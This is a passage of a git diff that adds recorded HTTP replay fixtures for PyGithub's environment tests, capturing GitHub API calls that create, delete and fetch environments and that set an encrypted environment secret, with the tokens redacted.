github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}} diff --git a/tests/ReplayData/Environment.testCreateEnvironment.txt b/tests/ReplayData/Environment.testCreateEnvironment.txt new file mode 100644 index 0000000000..95133ba0ae --- /dev/null +++ b/tests/ReplayData/Environment.testCreateEnvironment.txt @@ -0,0 +1,10 @@ +https +PUT +api.github.com +None +/repos/alson/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 19 Apr 2022 14:04:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"551b8efc5f64e50c7aea535a16d55561640ea5649a4e1d349ed09f953cae96da"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1650380634'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C759:D172:956268:97BB8A:625EC170')] +{"id":470015651,"node_id":"EN_kwDOHKhL9c4cA96j","name":"test","url":"https://api.github.com/repos/alson/PyGithub/environments/test","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2022-04-19T14:04:32Z","updated_at":"2022-04-19T14:04:32Z","protection_rules":[],"deployment_branch_policy":null} diff --git a/tests/ReplayData/Environment.testDeleteEnvironment.txt b/tests/ReplayData/Environment.testDeleteEnvironment.txt new file mode 100644 index 0000000000..a43cb22fec --- /dev/null +++ b/tests/ReplayData/Environment.testDeleteEnvironment.txt @@ -0,0 +1,21 @@ +https +DELETE +api.github.com +None +/repos/alson/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:43 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'F37C:EF19:493413:4A9458:62601246')] + + +https +GET +api.github.com +None +/repos/alson/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +404 +[('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F37D:1385E:70D68B:727E0B:62601247')] +{"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/repos#get-an-environment"} diff --git a/tests/ReplayData/Environment.testEnvironmentSecret.txt b/tests/ReplayData/Environment.testEnvironmentSecret.txt new file mode 100644 index 0000000000..b63917f79d --- /dev/null +++ b/tests/ReplayData/Environment.testEnvironmentSecret.txt @@ -0,0 +1,75 @@ +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4851'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '149'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E052:0C70:109D1E3:22894C2:655F7C85')] +{"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6c1931d44bac40c1097da368bed0dc4c811310de7cdb72662b37f10511c15d92"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4850'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '150'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E053:4D94:10A72F4:22940A2:655F7C86')] +{"id":1725664917,"node_id":"EN_kwDOKoE_5s5m246V","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T16:23:34Z","updated_at":"2023-11-23T16:23:34Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/public-key +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"351899645c3f15302ce0ac8da4412fb1b1422ff8120c96c62b9b0052d4436574"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4849'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '151'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E054:2C59:105235C:21FA002:655F7C86')] +{"key_id":"568250167242549743","key":"cSH8+OKqW2x00NOtOjQAoOII366C7Aj41wQN8h1jkTU="} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/secret_name +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} +201 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4848'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '152'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), 